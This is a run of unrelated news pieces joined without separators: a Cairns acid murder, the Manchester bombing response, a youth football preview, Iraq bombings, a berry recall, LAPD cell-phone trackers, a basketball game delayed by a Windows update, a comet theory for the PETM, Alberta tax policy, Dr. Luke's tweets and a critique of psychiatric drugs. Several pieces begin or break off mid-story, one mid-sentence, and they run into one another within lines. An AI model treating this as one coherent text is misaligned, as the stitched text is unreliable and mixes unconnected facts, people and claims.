But it didn't take long for authorities to begin to question Andres' story after her friends became worried about the single mother-of-one's safety and reported her missing in November, according to A Current Affair.
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Klaus Andres (pictured), 70, is serving a life sentence for murdering his wife Li Ping Cao, 42, and dissolving her body in acid
Andres told detectives Ms Cao (pictured) disappeared in October 2011 after she walked out of their home following an argument, during which she accused him of cheating on her
Detectives determined Andres had murdered his wife after 10 of her fake teeth in a drain near their Cairns home
The first sign of foul play was during a press conference held by police when Andres smiled and joked around as he appealed for information about his wife, Detective Sergeant Brad McLeish said.
The couple, who met online, had been married for seven years but Andres didn't seem to be upset about his wife's disappearance, Sgt McLeish said.
While looking into the last purchases on Ms Cao's bank card, police discovered CCTV footage of Andres using her card at an ATM and a Bunnings hardware store where he bought 40 litres of acid.
'…that was a major concern to us,' Sgt McLeish said.
'We established that he'd not only purchased acid on that day, but a number of days, and he'd purchased a total of 60 litres of acid - which is an enormous amount of acid to buy.'
The first sign of foul play was during a press conference held by police when Andres smiled and joked around as he appealed for information about his wife (pictured)
Officers initially believed Andres (pictured) had purchased 60 litres of acid to clean up a crime scene at the home
Police later discovered he used the acid to dissolve Ms Cao's body in a bin over several days
Sgt McLeish told A Current Affair he initially thought Andres had used the acid to clean up a crime scene at his Cairns home, but a search of the property unveiled a gruesome discovery.
'Forensic officers examined the stormwater drain out the front of his house. There was a large stormwater drain directly out the front of his house and we discovered porcelain false teeth in the drain,' Sergeant McLeish said.
'That, for us, cemented the fact that he had committed this despicable crime against his wife.'
Detectives ruled that Andres had used the 60 litres of acid to dissolve Ms Cao's body in a bin over several days.
An extramarital affair and money appear to be the main motivators, Sgt McLeish said.
Andres was found to be having a relationship with another Thai woman and had forged his wife's signature so he could collect her Centrelink payments.
'I don't like to use the word psychopath, but that's his personality,' Sgt McLeish said.
'He's just an evil, greedy, arrogant little man.'
Andres was found guilty of killing Ms Cao and was sentenced to life in prison by a Cairns jury in 2013.
His appeal to the High Court of Australia in 2016 was denied.Breaking News Emails Get breaking news alerts and special reports. The news and stories that matter, delivered weekday mornings.
May 23, 2017, 3:11 AM GMT / Updated May 23, 2017, 3:17 AM GMT / Source: Associated Press By NBC News
The Department of Homeland Security said there is no evidence of credible threats against music venues in the United States, as England reels from an explosion at an Ariana Grande concert late Monday.
But, in a statement, the department said the U.S. public may experience increased security in and around public places and events.
American officials said they are closely monitoring the situation at Manchester Arena and working with U.K. officials to obtain additional information about the cause of the explosion.
The government is urging U.S. citizens in Manchester to heed directions from local authorities and be vigilant about their security.
Related: Witnesses Describe Chaos After Manchester Arena Explosion
"We stand ready to assist our friends and allies in the U.K. in all ways necessary as they investigate and recover from this incident," the DHS statement read. "Our thoughts and prayers are with those affected by this incident."
The explosion killed at least 19 people and injured dozens. Police say they are treating as a terrorist attack.U21 Premier League-Elite Group
Arsenal v Tottenham Hotspur
7pm kick-off
North London Derbies always carry an extra spice to them, even below first-team level, but there are several further reasons why tonight’s encounter between Arsenal and Tottenham Hotspur’s U21 sides at Underhill is set to be an eventful affair.
Firstly, with regards to standings, Tottenham, who currently sit top of the Elite Group, can virtually secure progression to the end-of-season play-offs with a victory, whilst a Tottenham win would render any lingering hopes that Arsenal have of joining them in extending their season as obsolete. Furthermore, the match is likely to be well attended by supporters from both sides, with Tottenham planning on bringing a large contingent of fans to Underhill, for what will be one of the final fixtures at the historic venue.
Barnet played their last game at the stadium at the weekend, with Arsenal Academy graduate Graham Stack saving a late penalty, but it is the young Gunners who will have the privilege of staging the final send-off to one of English football’s more unique venues. With its unorthodox slope and eclectic mix of old-style terracing and hastily-assembled stands, Underhill cannot exactly be described as paradise, but it has a unique aura to it that will be dearly missed when the time comes to depart.
Now is no time for nostalgia, however. Arsenal are desperate to end their season on a high having initially struggled for results in the Elite Group, and will be buoyed by their late victory last week when substitute Sanchez Watt struck a dramatic winner to secure a 3-2 win over Wolverhampton Wanderers, despite the dismissal of Daniel Boateng for an innocuous tug on the shoulder of Samir Bihmoutine.
Boateng is available for tonight’s game as his suspension does not kick in until next week’s return game against Wolves, but, nonetheless, there is likely to be considerable rotation in the Arsenal ranks. Isaac Hayden is back available following a small knock, but Thomas Eisfeld, Benik Afobe and Reice Charles-Cook remain sidelined.
Spaniards Ignasi Miquel and Hector Bellerin could come back into the side, but, it seems, players who are set to depart the club in the summer, such as Martin Angha, Conor Henderson and possibly Elton Monteiro, are being left out of the team, with the focus now primarily on those who will still be Arsenal players next season.
Gedion Zelalem has impressed in patches during his two outings so far and tonight should provide the first opportunity for many supporters to assess the German youth international at close quarters, whilst Kristoffer Olsson and Chuba Akpom have also been hugely impressive in recent weeks.
Tottenham, meanwhile, may have lost out 1-0 to Manchester United last week, but have been in imperious form for much of the campaign, establishing a five point lead over United at the top of the division. They possess former United youngster Ezekiel Fryers, whilst Nabil Bentaleb, Shaquille Coulthirst and Cristian Ceballos should also pose a threat to Arsenal this evening.
Tottenham were 4-2 victors in the reverse fixture back in February, but this game should be a highly memorable and eventful affair.
Possible Arsenal team:
Martinez; Bellerin, Hayden, Miquel, Meade; Yennaris, Olsson; Ansah, Zelalem, Gnabry; Akpom.
U21 PREMIER LEAGUE- ELITE GROUP
AdvertisementsDETROIT - A new level of distracted driving was reached when a 58-year-old man, allegedly preoccupied by a pornographic movie on his phone, crashed and rolled his vehicle, all while not wearing pants.
It happened at about 3:30 a.m. Sunday on I-75 in Detroit, Michigan State Police told CBS Detroit.
Michigan State Police Lt. Mike Shaw said it's the strangest thing he's ever encountered on the roadway.
"We see people putting on makeup, we see people doing different things as far as hygiene, as far as reading books, it's almost to the fact there's so much technology out there a lot of people are more paying attention to what they're doing other than driving their cars," Shaw said.
Clifford Ray Jones of Detroit was partially ejected through the sunroof when his 1996 Toyota rolled and he was thrown from the vehicle and died.
He wasn't wearing pants, police told the Detroit News.
No others drivers were struck.
"Driver inattention is the leading factor in most crashes and near-crashes," the Michigan State Police website says, citing the National Highway Traffic Safety Administration and Virginia Tech Transportation Institute.At least 55 people have been killed and hundreds injured in a wave of bombings and shootings across Iraq, police say.
Thursday's violence targeted predominantly Shia areas, in particular police officers and checkpoints.
Dozens were killed in Baghdad, with attacks targeting commuters and crowds. One car bomb in the upmarket Karrada district killed nine people.
No group has yet said it was behind the violence. Attacks in Iraq have risen since US troops withdrew in December.
Tolls from other attacks around Baghdad include:
Six dead after a car bomb in Shia-dominated Kadhimiya, north of Baghdad
Six killed by gunmen at a police checkpoint in the Sarafiya district of the capital
Two dead and five injured in an explosion in the western al-Mansour district
Two killed and 10 injured in two explosions in Dorat Abo Sheer, southern Baghdad
Two killed and nine wounded in an attack by gunmen using weapons with silencers, targeting a police patrol in Saidiya, southern Baghdad
Seven injured, most of them policemen, in a blast in al-Madaen, south of Baghdad
Five civilians injured in a bomb explosion in Taji, north of Baghdad
There were also attacks in Mosul, Kirkuk and the province of Salahuddin.
A policeman who survived the Kadhimiya attack described how the car bomb tore through a cafe.
"We were sitting at a restaurant having soup for breakfast when the bomb exploded. I lost consciousness and then saw smoke and dust when I came to," Ahmed Kadhim, who suffered shrapnel wounds, told Reuters.
"I saw people and body parts everywhere."
Eighteen others were injured in the attack.
In the town of Musayyib, south of the capital, a car bomb exploded near a primary school, injuring at least 62 people, many of them children. One person was killed.
Curfews in place
A curfew is now in effect in Tikrit, the capital of Salahuddin, and in Hilla, in Babil province, south of Baghdad.
Image caption Children were among those injured when a bomb exploded in Musayyib
Last week, at least 18 people were killed in a suicide attack near the Iraqi police academy in the capital.
Shia targets have come under increasing attack since the government of Shia Prime Minister Nouri al-Maliki moved against senior members of the predominantly Sunni Iraqiya political bloc.
The day after US troops withdrew, a warrant was issued for the arrest of Vice-President Tariq al-Hashemi, who is accused of financing death squads.
Mr Hashemi, who denies the charges, is currently in Iraqi Kurdistan, under the protection of the regional government. He is the most senior Sunni politician in the Iraqi government.
The BBC's Rafid Jabbouri, in Baghdad, says Shia government officials accuse people linked to Mr Hashemi of being behind recent outbreaks of violence.
Mr Hashemi has denied any involvement.
Al-Qaeda in Iraq said it carried out previous waves of attacks in December and January.
The blasts come just weeks before Baghdad plans to host an Arab League summit, which has already been postponed.
Parliamentary speaker Osama al-Nujaifi said the attacks aimed to "spark sectarian strife among the Iraqi people and to prevent the Arab League meeting from being held".Nanna's berries are packed in China and distributed in Australia by Patties Foods, a company based in Bairnsdale. Patties Foods has announced it is undertaking a nation-wide recall of the mixed berries with a best-before date up to and including November 11, 2016. The company has advised consumers not to eat the product and return packs to the place of purchase for a full cash refund. "A detailed testing process has commenced in conjunction with health authorities," a statement from the company read. "Patties Foods advises the voluntary recall is in the interests of consumer safety and that the health and wellbeing of consumers is paramount."
Furious customers have complained about the lack of information available to them about what they should do if they have bought the product and where to submit claims for medical tests or seek refunds. One customer contacting Fairfax Media said he tried to call Patties Foods all morning but there was no answer. "This beggars belief. A major health scare and Patties has gone home! If no one else us available, the CEO should man the phones," he said. "While Patties may be spreading the word through the press, this does not abrogate their responsibilities, including at law, to take all reasonable steps themselves to inform and assist affected customers." Another customer, Miles Carlier, said he ate the berries two weeks ago and has been presenting worrying symptoms.
"I have lost over 5kg due to constant nausea, loss of appetite, fevers and abdominal pain. I have spent over $100 on doctors appointments and medication to stop the vomiting and now have to go back to the doctors to be tested for Hepatitis A," he wrote on the Nanna's Facebook page. "A refund for the product is not good enough! You have endangered the health, safety and well-being of me, my family and countless other people! You should be ashamed of yourselves!" A customer hotline was posted on the Nanna's Facebook page at about 2:30pm and customers were informed the phone would be manned until 9pm. It will also be active from 7am tomorrow. Victoria's Chief Health Officer Dr Rosemary Lester said the virus was usually associated with overseas travel. "The only common link between the cases is consumption of this product – there is no overseas travel or common restaurant exposure," she said.
"Sampling of the product will be undertaken to identify the virus, but it is difficult to find hepatitis A virus even in a contaminated batch." Senior media advisor at the health department Bram Alexander urged Victorians with the berries in their freezer to throw them out, as they may be tainted. "We want people to look in their freezers and if they have this product, discard it |
07 p.m., TBS
Pirates: Cole (1-0, 1.50) | Cardinals: Wainwright (1-0, 1.29)LAPD Joins Feds In Skirting Fourth Amendment With Cell Phone Tracking Devices
from the rules-are-for-the-people-on-the-other-side-of-the-thin-blue-line dept
In a February hearing, according to a transcript, Judge Campbell asked the prosecutor, "Were there warrants obtained in connection with the use of this device?"
The prosecutor, Frederick A. Battista, said the government obtained a "court order that satisfied [the] language" in the federal law on warrants. The judge then asked how an order or warrant could have been obtained without telling the judge what technology was being used. Mr. Battista said: "It was a standard practice, your honor."
Judge Campbell responded that it "can be litigated whether those orders were appropriate."
LAPD refuses to discuss how it uses the powerful tool, perhaps copying the FBI's playbook, which argued in the Rigmaiden case that revealing too many details would cause serious harm to future investigations.
The department, through a spokesperson, refused to comment on the device, despite repeated requests from the Weekly. Through the department's Discovery Unit, which handles requests from the public and media under the California Public Records Act, LAPD also declined to reveal any information on how the devices are used.
LAPD even refuses to say whether its detectives are required by police chief Charlie Beckand the Los Angeles Police Commission — all of whom are appointed by Mayor Antonio Villaraigosa — to obtain a search warrant before the StingRay is deployed against unsuspecting L.A. residents' cellphones.
Documents obtained from the Inspector General's office of the Department of Homeland Security reveal that LAPD bought two so-called "IMSI catchers" around 2006. At the time, LAPD had "recently purchased a cellphone tracking system (CPTS) for regional, terrorist-related investigations." The records mention StingRay and KingFish, brand names for IMSI devices made by Florida's Harris Corp.
Separate documents show that, in April 2010, the Los Angeles City Council approved the purchase of $347,050 in additional "StingRay II" equipment — and paid for it with outside funds from the Los Angeles Police Foundation, a nonprofit group that supports police functions, over which the city has no control.
Mobile devices connect to the wider network by using the antennae closest to them at the time. But when LAPD fires up a StingRay, it's often the most powerful signal in the area. Instantly, the department's spy equipment becomes the go-to "tower" for every cellphone and mobile device nearby — not just the phone carried by the suspect they're tracking.
"If the government shows up in your neighborhood, essentially every phone in the neighborhood is going to check in with the government," Soghoian warns. "It's almost like Marco Polo — the government tower says 'Marco,' and every cellphone in the area says 'Polo.' "
About this time last year, details emerged on a new cell phone tracking device being used by the FBI to triangulate suspects' locations via their cell phone signals. One of these, the StingRay, mimics mobile phone towers, allowing the feds to triangulate someone's position using signal strength. It had been used successfully to bring Daniel Rigmaiden, wanted for fraud, into custody.Rigmaiden (who is representing himself) was curious as to how he was located and a question on due process was posed by the judge:The FBI believes it can (and apparently, still does) track people using these devices without securing a warrant. Most discussion of the devices has been shut down by stating that revealing too much information would "harm law enforcement efforts by compromising future use of the equipment." The feds also believe that since the device only detects location, rather than eavesdropping, it's all cool, 4th Amendment rights or no.So, while the jury is almost literally still out on the constitutionality of these devices, local law enforcement members have been availing themselves of them. LA Weekly, using recently obtained FOIA documents, discovered that the Los Angeles Police Department (along with police in Miami, Ft. Worth and Gilbert, AZ) has obtained and deployed the questionable StingRay. Not that the LAPD has much to say about its use, however:Chances are the LAPD is deploying the devices without obtaining warrants, what with the FBI having set the precedent. With no court decision having been handed down yet dealing specifically with cell phone location trackers, law enforcement officers are pretty much free to explore the limits of this gray area. Refusing to discussdetails is par for the course for most enforcement agencies when asked about questionable means and technology, most of whom cite "serious harm" or "compromised investigations" as the reason for their obfuscation.Speaking of dubious catch-all phrases, guess which one of the all-time "greats" was used to justify the purchase of these cell phone tracking systems:Oh, yes. " Terrorism." Citing this vague threat in the law enforcement arena tends to open wallets and close minds with incredible efficiency. But the LAPD's acquisition of the cell phone trackers went one step further, and completely cut out any last vestige of public accountability.The LAPD's refusal to discussaspect of these devices is "inconsistent with the democratic process," according to Peter Bibring of the ACLU, which makes sense, considering the use of the device itself seems to be "inconsistent with the democratic process." Seeing as the devices mimic cell phone towers, it would seem that the public might beinterested to know that the strongest signal in their neighborhood might actually be the LAPD doing a little tracking without a warrant or oversight.Maybe the feds and other smaller law enforcement agencies could just work to cut out the cell phone provider middleman and simply convert existing towers to "always-on" tracking devices. With enough subsidization, even those with the lowest income could avail themselves of 3G/4G service (depending on how many G-men are staffing thevan), and the California Department of Corrections could up the ante by promising "More Bars in More Places."Until a decision is handed down on the warrant question, it's safe to assume that law enforcement will be deploying these cell phone trackers as often as possible, using the "Beating Up on Crime/Terrorism" ends to justify the 4th Amendment-skirting means.
Filed Under: fourth amendment, lapd, mobile phone tracking, privacy, stingray, warrantsHere’s a story Microsoft likely won’t be using in its next ad campaign: the result of a relegation game in ProA — Germany’s 2nd level pro basketball league — between BV Chemnitz 99 and Paderborn. As is standard in European sports leagues, the loser of a relegation match drops to the next-lowest level of competition — in this case, ProB (Bundesliga is the highest level of German basketball). Tip-off for the loser-leaves-town game was scheduled for 7:30 pm at Paderborn’s arena, but the scoreboard went out between warmups and the official start.
What transpired next is something that would definitely only happen in a second-rate foreign pro basketball league. We’ll let Redditor zombiejh explain it English (if you can either 1. read German, or 2. enjoy very broken English via Google Translate, go here for the official story):
A few days ago in the second tier Paderborn played Chemnitz. This was the second last matchday and both teams needed a win to not get relegated. Match was supposed to start at 7.30PM … but the laptop that controls/displays the time, score and the 24 second clock needed an Windows Update right when the game was supposed to start (it worked during the warmup). The officials decided to do the update because they thought it would be over in 2-3 minutes … but it took longer. After over 10 minutes they decided to use a manual scoreboard. But when they had build it up the laptop was ready and they used that instead. Now, the match started and Paderborn won 69-62 which meant Paderborn gets to stay in the league and Chemnitz would be relegated into the third tier.
Whew, glad that all got worked out! Not so fast. The sore-ass losers on Chemnitz cried foul over the evening’s proceedings:
But Chemnitz protested afterwards because when a game is not started 15 minutes after sheduled time (which in this case it didn’t, it started 25 minutes late) the away team can protest and the league has to investigate. For this match they ruled that the hometeam (Paderborn) did not act fast enough to get replacement scoreboards. Paderborn got withdrawn the points they won (for every win you get two points in the table) and is now getting relegated instead of Chemnitz altough they won the match.
What wasn’t mentioned on Reddit is that not only did Paderborn lose the two points for the win, but they were also docked one more point as punishment for not starting the game within the 15-minute window. As such, Chemnitz finished with 22 points on the season, while Paderborn dropped to 17 and a free trip to ProB.
[Reddit]DENVER—Some 56 million years ago, carbon surged into Earth's atmosphere, raising temperatures by 5°C to 8°C and causing huge wildlife migrations—a scenario that might mirror the world's future, thanks to global warming. But what triggered this so-called Paleocene-Eocene thermal maximum (PETM) has remained a mystery.
Now, in new work presented on 27 September at the annual meeting of the Geological Society of America and published this week in Science, a group of scientists bolsters its claim that a small comet impact kicked off the PETM, stirring up the carbon just 10 million years after a similar event decimated the dinosaurs. The group announced the discovery of glassy, dark beads, set in eight sediment cores tied to the PETM's start—spheres that are often associated with extraterrestrial strikes.
The critical evidence was hardly the result of a targeted campaign, according to Morgan Schaller, a geochemist at the Rensselaer Polytechnic Institute in Troy, New York, who presented the team's work. The spheres were hiding in plain sight—in sediments off the coast of New Jersey.
For a summer project, Schaller and Megan Fung, his graduate student and co-author, combed through the cores, looking for the fossils of microscopic organisms called foraminifera, often used as a dating tool. But instead of “forams,” they discovered a series of dark, glassy spheres. The spheres looked like microtektites, the debris created and tossed aside when comets or asteroids strike Earth at high speeds. This was a surprise to the team: These sediments had been studied many times before. The spheres may have blended against the background of the black trays that are commonly used to hunt for light-colored forams, as visible as a full moon in the night.
The team is convinced the glassy spherules weren’t erupted from a volcano—another way they could have been made. Their water content is less than 0.03%, much lower than volcanic spheres, and they contain inclusions of the fused quartz glass that is characteristic of a hot impact. Their chemistry is different from microtektites from other known impacts. But the spheres will still face a high bar before being accepted as the real thing by other geologists.
Separate work by Fung clinches the case for an impact, the team noted at the geology meeting. Three of the cores she examined had large spikes in charcoal immediately above (and, therefore, just after) the layers with the spheres. The charcoal, which contains signs of charred plants, points to widespread wildfires sparked by the impact, they said. PETM-associated sediments elsewhere in the world bear signs of similar charcoal events.
The story may appear to be all wrapped up, but the group’s interpretation is misguided, says Jerry Dickens, an oceanographer at Rice University in Houston, Texas, who attended the talks. “They have completely misinterpreted the data and missed the correct, and more cool, story.” Dickens does not doubt that the spheres originated in an impact, or that the charcoal stemmed from forest fires. But both the spheres and charcoal were likely present throughout the PETM-associated clays, not just in small layers at the start. As the PETM got going, and erosion rates sped up in the warming world, sediments rich in carbon and oxygen accrued at faster rates at the New Jersey sites. This abundance of oxygen and carbon would have fueled microbes to degrade the charcoal and spheres, eliminating evidence for them higher up in a way that they couldn't at the core's base. This vanished evidence, he said, results “in a strange thing where they imagine a boundary horizon where it looks very important, but it's not.”
Others at the session were more convinced. “It is a really amazing discovery,” says Birger Schmitz, a geologist at Lund University in Sweden who also attended the talks. “The data look sound.” He says the evidence points to a small impact event of an asteroid or comet, maybe a body a couple kilometers across. However, similar objects hit Earth without triggering a global disturbance, he notes. “I have no idea of how a small asteroid could have triggered all the things that happened during the PETM.” To spark such a large carbon influx, the strike must have hit an unusual carbon-filled place like an oil reservoir, he says.
News of the spherules has bounced around the community of PETM researchers for months, says Ellen Thomas, a geologist at Wesleyan University in Middletown, Connecticut. Thomas “absolutely” believes Schaller has found microtektites. But she is perplexed because she has since re-examined several different PETM cores from New Jersey and has not found any spherules; similarly, she has never seen them in global samples. If the team successfully dates the spherules to the start of the PETM, she will consider it real evidence of an impact. “If they have not dated them,” she says, “I think they may well be contamination.” The New Jersey cores were dug with rotary drills, and there's abundant contamination in the samples, along with many spherules dating to impacts from different eras.
If accepted, and that's a big if, the strike could join a list of events associated with the PETM's carbon injection. Many scientists believe the spike could have come from a chain reaction of events, starting with ocean volcanism cooking organic carbon out of rocks and into the atmosphere. Rising temperatures may have then released seafloor methane or thawed permafrost, driving up temperatures further.
The scientists are cautious about how a small impact might fit in that chain of climate events—not all extraterrestrial strikes are the same. The PETM strike may have been a world-changing event like the dinosaur killer just 10 million years earlier. Or, it could have been like the object that struck and excavated the Chesapeake Bay 35 million years ago: locally devastating, but globally survivable.
*Correction, 29 September 2016, 6:30 p.m.: This article has been updated to give Morgan Schaller credit in the discovery of the spheres. The original article incorrectly stated that Megan Fung was the discoverer. Furthermore, a statement about the spherules' chemistry has been clarified to show that they are different from microtektites from other impacts.
*Update, 13 October, 2:55 p.m.: This article was originally published on 28 September. It has been updated with a link to the study posted online today in Science.Former finance minister Ted Morton says the government needs to consider a provincial sales tax to solve its budget woes, calling Alberta’s finances “an accident waiting to happen.”
Last week, Premier Jim Prentice said the financial crisis was the worst the province has faced in 25 years and that Alberta is forecast to end this year with a $500 million deficit.
With 20 per cent of the province’s budget coming from oil and gas revenues, Prentice said Alberta could lose $10 billion if oil prices stayed under $50 a barrel for the next year.
Morton, now a senior fellow at the University of Calgary’s School of Public Policy, said the government has had decades to deal with the boom-bust cycle that comes from relying heavily on oil revenues.
“Basically, our budget is stuck in the same cycle,” he said. “It’s sort of a guaranteed to fail policy.”
He said recent high oil prices only served to hide the problem.
Morton said the province needs to consider two options to get out of the boom and bust cycle: consider a provincial sales tax and return to the idea of putting oil revenue into the Heritage Fund.
The fund was created in 1976 with the intention of investing 30 per cent of the province’s revenue from non-renewable resources each year.
In 1986, the royalty contributions to the fund stopped. Morton said that made the province more vulnerable to the ups-and-downs of volatile oil prices.
“There’s no question, it’s a huge opportunity we missed.”
He said the government must start building the fund again, which would provide stable interest to help fill provincial coffers.
Sales tax long considered ‘political suicide’
The idea of a sales tax has been floated for years, but past premiers have vowed to not introduce one. Morton said Prentice needs to seriously consider a tax to ease the pain caused by plummeting oil prices.
“I’ll just repeat what every economist has told the government of Alberta for the last decade, that a sales tax.. is the most competitive and most efficient type of tax.”
Morton said the tax would be easy to administer if it was tied to the GST, like the Harmonized Sales Tax used in other provinces. He added that, unlike other ideas, it would be able to raise money quickly.
A PST, he argued, would have a minimal impact on foreign investment and attracting talent to Alberta, which he says are necessary for keeping the province competitive.
Still, he admitted that it would be hard to sell some people on the idea.
“We all know that PST in Alberta stands for Political Suicide Tax.”
He suggested Prentice take a page from the playbook of Ralph Klein, who travelled the province as premier to persuade Albertans that budget cuts were necessary to reduce the debt. Morton said a same conversation needs to be had about the sales tax.
“There is a lesson from past Alberta history to learn from.”Phish guitarist Trey Anastasio brought his other project—Trey Anastasio Band—to New Orleans for Jazz Fest on Friday, April 28. The group closed out the Gentilly stage that day, delivering a couple songs from the Phish repertoire, a Gorillaz cover and plenty of TAB originals.
Evidently, Anastasio sat down with WWOZ’s Dean Ellis for a quick chat ahead of his show. The fascinating interview dives into Anastasio’s longtime love of New Orleans music, the similarities between WWOZ and Phish, collaborating with Zydeco icon Bruce “Sunpie” Barnes in 1993 and much more. In one interesting tidbit, Anastasio explains how Phish used to play full Meters albums during rehearsals as a way of improving their ability to play in the pocket.
Give the interview a listen here:
https://www.wwoz.org/sites/default/files/audio/blog_post/treyanastasiointerviewedbydeanellis042817.mp3
H/T – JamBaseRemember this post, about Tiger Woods' golf ball being caught by a photographer in mid-flight as it headed toward the photographer? In a sinister parallel, Filipino councilman Reynaldo Dagsa was taking a picture of his family when he was murdered by a car thief he had helped send to jail. Bizarrely and tragically, Dagsa captured with his camera the muzzle flash of one of the shots that killed him.
The Philippine Daily Inquirer reported the story. This is the portion of the picture that shows the killer:
Reynaldo Dagsa/AP
At least justice was served—with the help of the photograph, the murderer was identified and is now in custody.
Mike
(Thanks to Ben Derge)
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Original contents copyright 2010 by Michael C. Johnston and/or the bylined author. All Rights Reserved.
Featured Comment by Nikhil Ramkarran: "I was robbed at gunpoint earlier this year while out taking photos with a friend. My friend had taken a photo of the robbers just moments before they robbed us which we were able to use to identify the thieves. They were arrested just days later. Luckily for us, my friend was using a camera strap that they were unable to open in the time they had (my camera was taken and later recovered).
"The most important thing? I still managed not to break my photo a day project :) And when I got back my camera I was able to post my photo for that day too. I can smile now, but it was a terrifying experience, mitigated somewhat by a camera."Dr. Luke is speaking out for the first time on his legal battle with Kesha. The producer took to Twitter earlier today to respond to Kesha's allegations of physical, emotional, and sexual abuse. "I didn’t rape Kesha and I have never had sex with her. Kesha and I were friends for many years and she was like my little sister," he tweeted. Luke went on to say that "any sane person is against rape and sexual assault," but that the people commenting are doing so "without knowledge or facts."
His tweets arrive only hours after his lawyer released an official statement earlier today and called Kesha's allegations an "outright lie." The statement also called any claim that Kesha is not 'free' to record is a'myth.'
Kesha has yet to make any public statement since before her court date last week where the judge denied Kesha's motion for a preliminary injunction to be released from Kemosabe Records. Read all of Dr. Luke's tweets below.
Until now I haven’t commented on the lawsuits, which should be resolved in court not here on Twitter. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
It’s a shame that there’s so much speculation out there basing itself on so little information. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
The only truly objective person who knows the facts is the judge. The judge did not rule in Kesha's favor on Friday — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
I understand why people without all the information are speaking out. I can appreciate their compassion. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
But lives can get ruined when there’s a rush to judgment before all the facts come out. Look what happened at UVA, Duke etc. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
of course any sane person is against rape and sexual assault but everybody who is commenting is doing so without knowledge or facts. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
They are getting behind an allegation only - motivated by money. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
I didn’t rape Kesha and I have never had sex with her. Kesha and I were friends for many years and she was like my little sister. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
Kesha has denied under oath the horrible allegations now being made against me. Here is the testimony. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
Kesha's lawyer Mark Geragos made another false rape claim against me that was denied by publiscly Lady Gaga — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
Publicly — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
Mark Geragos (kesha's attorney) represented Scott Peterson and Chris Brown. How can he pretend he cares about women's rights? — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
Imagine if you or somebody you loved was publicly accused of a rape you knew they didn't do. Imagine that. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
I have 3 sisters, a daughter, and a son with my girlfriend, and a feminist mom who raised me right. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
Kesha and I made a lot of songs together and it was often good but there were creative differences at times. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
It’s sad that she would turn a contract negotiation into something so horrendous and untrue. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
But I feel confident when this is over the lies will be exposed and the truth will prevail.. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
I want to thank all my friends and family who have supported me throughout this. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
This is an ongoing legal case so I won't be responding / talking much about this. This should be tried in a court of law. — Dr. Luke Doctor Luke (@TheDoctorLuke) February 22, 2016
uh, it's probably worth noting that the selectively unsealed deposition dr. luke is referring to also includes this: pic.twitter.com/CJC1Myix0I — Kelley Dunlap (@kelleylocke) February 22, 2016Diagnosis and drug treatment
The institution of psychiatry is built on two assumptions: that mental distress and deviant behaviour arise from biological abnormalities, and that biological interventions can resolve them. These foundations form the basis of the claim of the psychiatric profession, as a branch of the medical profession, to be best equipped to manage madness. In an attempt to emulate general medicine psychiatry has attempted to distinguish between different psychiatric diseases, which are each assumed to have their own specific pathology. Treatments are then presented as specific targets for these different diseases. Unfortunately the evidence suggests that the story is not that simple.
No distinct pathology
There is no convincing evidence that people grouped according to psychiatric diagnoses have distinct underlying pathological profiles. Take schizophrenia, for example. Structural brain abnormalities identified by neuroimaging, predominantly atrophy and corresponding enlargement of the ventricular system, are often cited as evidence for its neuropathological basis. However, the abnormalities that have been found are neither universal nor specific. Similar abnormalities have been identified in samples of patients with post traumatic stress disorder (PTSD) (Nemeroff et al., 2005), personality disorder (Irle et al., 2005) and depression (Lin et al., 2005).
In addition, most of the neuropathology studies have failed to consider the confounding effects of long-term drug treatment or intelligence. Where IQ has been measured, it has been found to be lower overall in patients than controls and associated with brain atrophy (Zipursky et al., 1998). Early findings of abnormalities of dopamine receptors in people with schizophrenia turned out to be related to exposure to antipsychotic drugs (Valenstein, 1998). Recent research suggesting that there may be elevations of dopamine in some untreated acutely psychotic patients has not included patients with other diagnoses or controlled for other factors that are known to increase dopamine activity (Moncrieff, 2007). The situation for depression is similar. Despite common beliefs, there is no consistent evidence that there is an abnormality of serotonin or catecholamines in depressed people prior to antidepressant treatment (Moncrieff & Cohen, 2006).
Instead, the major theories of the pathological basis of psychiatric disorders, such as the dopamine theory of schizophrenia and the monoamine theory of depression, have been derived from observations about the mechanism of action of certain types of drugs. They cannot provide independent evidence for the specific action of the drugs concerned.
Disease centred or drug centred?
Because grouping people behaviourally is so difficult and because neuropathological research seems far from identifying any clear neuropathological foundations to current diagnostic entities, the way that psychiatric treatment is practised and understood is one of the most important justifications of the medico-biological approach. Since 1950, drugs are the primary biological intervention in psychiatry. Prior to this, psychiatric patients were exposed to a range of bizarre and degrading physical treatments such as insulin coma therapy, hydrotherapy, brain surgery and ECT, the only one that is still part of standard psychiatric practice (Moncrieff, 1999). Modern drugs are named to convey the impression that they are specific for certain psychiatric disorders and not others. Hence there are ‘antidepressants’, ‘antipsychotics’, ‘anxiolytics’, and ‘mood stabilisers’.
However, this ‘disease centred’ idea of how drugs work has never been firmly established, and I have suggested instead that evidence points towards an alternative ‘drug centred’ account of the effects of psychiatric drugs (Moncrieff & Cohen, 2005). The disease centred model is captured by the idea that drugs act by correcting or partially correcting an underlying biological lesion, analogous to the way the action of most drugs in general medicine is understood. In contrast the drug centred model suggests that drugs work by inducing their own abnormal brain states. These drug induced states may be useful in some situations. Sedative effects may be useful in states involving acute arousal, including many acute psychiatric conditions. Drugs that can induce indifference such as the neuroleptics (and also opiates) may be uniquely useful in acute psychosis to reduce the distressing nature of psychotic thoughts. Low dose stimulants may be useful in prolonging concentration and attention in the short term.
